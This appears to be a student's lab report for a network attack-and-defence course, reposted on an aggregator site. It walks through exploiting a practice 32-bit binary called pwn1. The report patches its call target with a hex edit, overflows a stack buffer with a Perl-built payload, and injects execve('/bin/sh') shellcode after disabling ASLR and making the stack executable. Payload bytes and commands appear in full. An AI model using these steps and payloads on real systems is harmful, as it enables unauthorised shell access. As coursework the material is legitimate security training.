当前位置: 首页 > news >正文

20253918 2025-2026-2 《网络攻防实践》第9次作业

20253918 2025-2026-2 《网络攻防实践》第9次作业

1.实践内容

1.1 实践总体目标

本次实验以名为pwn1的 Linux ELF 可执行文件为分析对象,围绕二进制程序漏洞利用展开核心实践。实验目标为:掌握三种劫持程序执行流的核心方法,强制触发程序中隐藏的getShell函数或执行自定义编写的 Shellcode,最终获取系统 Shell 权限;深入理解栈溢出攻击原理、二进制文件静态修改逻辑、Shellcode 编写与注入机制,掌握反汇编、调试、二进制编辑等工具的使用方法,建立二进制漏洞挖掘与利用的核心思维,提升网络攻防中二进制安全方向的实践能力。

1.2 核心知识点与实践范畴

1.2.1 手工修改可执行文件,篡改程序执行流程

核心知识点

  • ELF 可执行文件结构:指令段的存储格式、函数地址的二进制表示形式;
  • 反汇编工具(objdump):解析 ELF 文件的指令、函数地址与执行流程;
  • 十六进制编辑技术:通过xxd工具实现二进制文件的十六进制视图转换与修改;
  • 程序执行流控制:跳转指令地址的修改原理,通过篡改函数调用地址强制执行目标函数;
  • 系统配置基础:Linux 主机名临时 / 永久修改方法,/etc/hostname/etc/hosts文件的协同作用。

实践内容

通过静态修改pwn1可执行文件的二进制指令,将原本调用foo函数的跳转地址替换为getShell函数的内存地址(0x804847d),强制程序跳过原执行逻辑、直接执行getShell函数以获取 Shell 权限。具体操作包括:

  1. 配置实验环境:将虚拟机主机名永久修改为指定名称,解决临时修改不持久、sudo命令解析主机名失败的问题;
  2. 反汇编分析:使用objdump -d命令解析pwn1文件,定位foo函数与getShell函数的内存地址;
  3. 二进制编辑:通过vim结合xxd工具将文件转换为十六进制视图,定位并修改跳转指令的地址字节;
  4. 问题解决:处理 Vim 异常退出产生的.swp临时文件,验证修改后文件的执行效果。

1.2.2 利用 foo 函数的缓冲区溢出(BOF)漏洞劫持返回地址

核心知识点

  • 栈内存布局:栈帧结构(EBP/ESP 寄存器)、缓冲区起始地址与返回地址的存储位置关系;
  • 缓冲区溢出原理:当函数输入超出缓冲区长度时,溢出数据会覆盖栈上的返回地址,从而劫持程序执行流;
  • 调试工具(GDB):程序运行时调试、栈内存状态查看、溢出偏移量验证;
  • 攻击载荷构造:基于 Perl 的字符串构造方法,小端序存储规则(内存地址的字节序转换);
  • 偏移量计算:通过栈地址差计算覆盖返回地址所需的填充数据长度(本次实验为 32 字节)。

实践内容

利用foo函数的缓冲区溢出漏洞,构造攻击字符串覆盖栈上的返回地址,触发getShell函数执行。具体操作包括:

  1. 工具准备:安装并验证 GDB 调试工具,确保漏洞分析与调试环境可用;
  2. 漏洞分析:反汇编foo函数,计算缓冲区到返回地址的偏移量(32 字节);
  3. 调试验证:通过 GDB 运行程序,输入测试字符串验证返回地址的覆盖位置;
  4. 攻击载荷构造:使用 Perl 构造包含 32 字节填充数据 +getShell地址(小端序)的攻击字符串;
  5. 漏洞利用:将攻击字符串注入程序,覆盖返回地址,触发getShell获取 Shell 权限。

1.2.3 注入自定义 Shellcode 并执行

核心知识点

  • Shellcode 编写:Linux x86 架构下的系统调用(int 0x80)、execve函数调用原理,实现/bin/sh执行的核心指令集;
  • 堆栈权限配置:execstack工具的使用,设置程序堆栈为可执行权限;
  • 地址空间随机化(ASLR):关闭/proc/sys/kernel/randomize_va_space以固定栈地址,避免地址随机化导致攻击失效;
  • 动态调试:通过 GDB 的attach命令附加进程、info registers查看寄存器地址,获取栈的精确地址;
  • 攻击载荷优化:NOP 滑区(\x90)的作用,攻击载荷结构(填充数据 + 跳转地址 + NOP 滑区 + Shellcode)。

实践内容

编写自定义 Shellcode,通过缓冲区溢出注入程序并执行,实现 Shell 权限获取。具体操作包括:

  1. 环境配置:安装execstack工具,设置程序堆栈可执行权限,关闭 ASLR 机制;
  2. Shellcode 编写:构造实现execve("/bin/sh", NULL, NULL)的 x86 汇编指令对应的十六进制码;
  3. 地址获取:通过多终端协作,GDB 附加运行中的程序,获取 ESP 寄存器对应的栈地址;
  4. 攻击载荷构造:使用 Perl 构造包含 32 字节填充、栈地址、NOP 滑区、自定义 Shellcode 的攻击字符串;
  5. 注入执行:将攻击字符串注入程序,触发 Shellcode 执行,验证 Shell 权限获取效果。

2.实践过程

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

2.1 手工修改可执行文件

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先根据作业上面的要求,把虚拟机的主机名改成自己的拼音zouyiyang,然后在开始本次的实践。使用hostname zouyiyang命令

image-20260531133616019

通过下面3.1问题里面的一系列操作,最终成功修改

image-20260531135337561

将学习通里的的pwn1的文件传入虚拟机里面,并且直接使用图标上的rename进行改名为20253918_pwn1,使用自己本人的学号。

image-20260531144559374

输入命令objdump -d 20253918_pwn1 | more查看其信息,找到main函数的信息

image-20260531144757788 image-20260531145345259

想要调用getshell函数,需将其修改为804847d,输入命令vim 20253918_pwn1对该文件进行编辑

image-20260531145427403

在 vim 中按:进入命令模式,使用命令%!xxd,改成十六进制方便观看书写修改

image-20260531150037935

找到要修改的地址0x804847d

image-20260531150204862

摁i进入插入模式,把d7ff改成c3ff

image-20260531150316105

再点击ESC回到命令模式,再去输入命令:%!xxd -r,转换成为原来的格式,保存并退出

image-20260531150443774

最后验证,再次输入命令objdump -d 20253918_pwn1 | more查看其信息

image-20260531150718540

对已修改文件运行,成功执行了getshell,其获取系统权限,使用命令./20253918_pwn1查看,使用ifconfig命令查看

image-20260531153405213

至此证明已经获得系统权限,成功完成任务。(最后记得用exit退出模式)

2.2 利用foo函数的Bof漏洞

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

使用命令sudo apt update和sudo apt install gdb安装gdb,并且验证是否安装成功

image-20260531153903427 image-20260531153926766

通过分析程序反汇编代码,发现foo函数存在缓冲区溢出漏洞。经计算:

  • 缓冲区起始地址:ebp - 0x1c
  • 返回地址存储位置:ebp + 4
  • 偏移量:(ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节

实验目标:构造长度为 32 字节的填充数据,覆盖栈上的返回地址,从而控制程序执行流。

使用命令objdump -d 20253918pwn1 | more查看细节(改了个名)

image-20260531160512063

使用gdb工具调试程序。
先使用命令gdb 20253918pwn1,再输入r运行。

image-20260531162210131

输入字符串 1111111122222222333333334444444412345678,那 1234这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。

image-20260531162251822

经确定getShell地址:0x0804847d,输入11111111222222223333333344444444\x7d\x84\x04\x08。

使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20253918zouyiyang,再使用命令xxd 20253918zouyiyang查看内容

image-20260531162559741

使用命令(cat 20253918zouyiyang; cat) | ./20253918pwn1,把内容写进pwn1中,即可完成任务。

image-20260531163302834

2.3 注入一个自己制作的shellcode并运行这段shellcode

安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压

image-20260531163404850

设置20253918pwn1程序堆栈可执行,并进一步查询是否设置成功

使用命令execstack -s 20253918pwn1和execstack -q 20253918pwn1

image-20260531163659668

使用命令more /proc/sys/kernel/randomize_va_space和echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image-20260531163814549

使用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > 20253918zouyiyang_1生成文件

然后再使用命令在终端1里(cat 20253918zouyiyang_1;cat) | ./20253918pwn1

同时在终端2里ps -ef | grep 20253918pwn1

image-20260531164522621

image-20260531164452833 image-20260531164501977

再另开一个终端3使用命令gdb 20253918pwn1、attach 85339、disassemble foo、break *0x080484af,

image-20260531170127227 image-20260531170140616

在终端1摁下enter键,返回终端3输入命令info registers esp

image-20260531170623793

最后使用命令perl -e 'print "A"x32 . "\xe4\xd0\xff\xff" . "\x90\x90\x90\x90\x90\x90" . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > 20253918zouyiyang_1和命令(cat 20253918zouyiyang_1; cat) | ./20253918pwn1

输入常见指令测试是否拿到shell,此时证明实验成功

image-20260531183951515

3.学习中遇到的问题及解决

3.1 问题一:修改虚拟机名称的时候遇到修改失败的问题

image-20260531133636607

两个核心原因:

  1. 临时修改不持久:你使用的hostname zouyiyang命令只是临时修改了当前会话的主机名,系统重启后会自动恢复为原来的 "kali"
  2. 缺少 hosts 文件配置:这是最关键的原因。Linux 系统在执行 sudo 等命令时,会尝试将主机名解析为 IP 地址。你只改了主机名,但没有更新/etc/hosts文件,导致系统无法识别新的主机名

解决方案:

image-20260531135206112

  1. 切换到root用户 sudo su
  2. 修改静态主机名配置文件(定义"我是谁") nano /etc/hostname 将文件中的"kali"改为"zouyiyang" 再按Ctrl+O保存,按Enter确认,按Ctrl+X退出
  3. 更新本地DNS解析文件(告诉系统"我叫这个名字,对应这个IP") nano /etc/hosts # 找到这一行:127.0.1.1 kali # 改为:127.0.1.1 zouyiyang # 保存并退出
  4. 立即更新内核当前主机名(无需重启立即生效) hostname zouyiyang
  5. 验证修改结果 hostname cat /etc/hostname cat /etc/hosts #
  6. 重启系统确保所有服务生效 reboot

3.2 问题二:Vim 异常退出

上一次编辑这个文件时,直接关闭了终端窗口。Vim 在编辑文件时会自动创建一个隐藏的.swp临时文件,用来保存未保存的更改,防止数据丢失。当 Vim 异常退出时,这个文件不会被自动删除,下次打开时就会出现这个提示。

image-20260531153006735

摁D把之前的异常文件全部删除,重新编辑即可。

3.3 问题三:忘记把之前的任务复原

image-20260531161344971

最后直接新开了一个文件重新放入虚拟机后进行实验即可。

4.实践总结

本次实验内容从静态修改二进制文件到动态利用缓冲区溢出漏洞,再到自定义 Shellcode 注入,形成了 “静态修改→漏洞利用→自定义攻击” 的层层递进结构,覆盖了二进制安全的核心知识点:ELF 文件解析、栈内存布局、缓冲区溢出原理、Shellcode 编写、调试 / 反汇编 / 二进制编辑工具链使用、系统环境配置等。通过本次实践,完整掌握了从漏洞分析到攻击载荷构造、再到权限获取的二进制漏洞利用全流程,理解了网络攻防中 “劫持执行流→获取权限” 的核心逻辑,为后续复杂二进制漏洞分析与利用奠定了实践基础。

http://www.rkmt.cn/news/1436382.html

相关文章:

  • 基于Arduino与1Sheeld的DIY智能语音助手:从硬件搭建到软件编程全解析
  • AI应用的数据库设计:从选型到优化
  • 别浪费钱了!2026实测好用的AI论文工具|省心版
  • 2026西安黄金回收哪家最放心?七家门店真实走访,唐王珠宝二十年零投诉零冻卡 - 西安闲转记
  • 早盘竞价10分钟,如何用56个因子“算”出涨停股 - Leone
  • 从数据碎片到数字遗产:WeChatMsg如何重塑你的聊天记忆价值
  • 3分钟搭建本地pyecharts资源库:彻底解决网络依赖,打造稳定数据可视化环境
  • 【C++】零基础入门 · 第 13 节:异常处理(try、catch、throw)
  • 加油
  • Blender建筑建模革命:用building_tools插件告别繁琐手动建模
  • 5分钟快速上手:跨平台资源下载工具res-downloader终极指南
  • 2026芜湖奢侈品名包名表回收靠谱商家测评:口碑老店 - 鸿运名品
  • TypeError: Autotuner.__init__() takes from 6 to 9 positional arguments but 14 were given
  • Windows端口被占?除了netstat,你还可以试试这些更强大的工具(附PowerShell终极方案)
  • 基于Arduino与NRF24L01的乐高坦克遥控系统全解析
  • 2026西安黄金回收上门服务榜单丨告别出门排队 当面验金秒到账全指南 - 西安闲转记
  • 6款主流降AIGC网站 降痕效果拉满
  • AI Agent Harness Engineering 在制造:巡检、质检与工艺优化
  • 个人助手Agent:全场景任务自动执行
  • 告别卡顿!5分钟用GHelper释放华硕笔记本全部潜力
  • 微信聊天记录永久保存与智能分析的终极指南:WeChatMsg完整解决方案
  • 如何构建企业级游戏串流服务器:Sunshine高级部署完全指南
  • 抖音下载器终极指南:3分钟掌握批量下载无水印视频的完整方法
  • PKSM终极指南:一站式管理所有世代宝可梦存档的免费方案
  • Arduino定时控制实战:从继电器驱动到220V设备安全控制
  • 郑州市 高新区 上门安装、维修维保|维小达 开关插座/灯具/门窗/柜体/锁具/卫浴/龙头/洗菜盆/踢脚线一站式家装安装服务 - 维小达科技
  • Julia深度学习实战:从图像分类到GAN生成的五大案例解析
  • 终极QQ音乐解密指南:qmcdump让加密音频自由播放
  • 3步轻松获取国家中小学智慧教育平台电子课本:智能解析工具全攻略
  • 别再乱用-divide_by和-multiply_by了!手把手教你用create_generated_clock的-edge_shift和-duty_cycle调出任意波形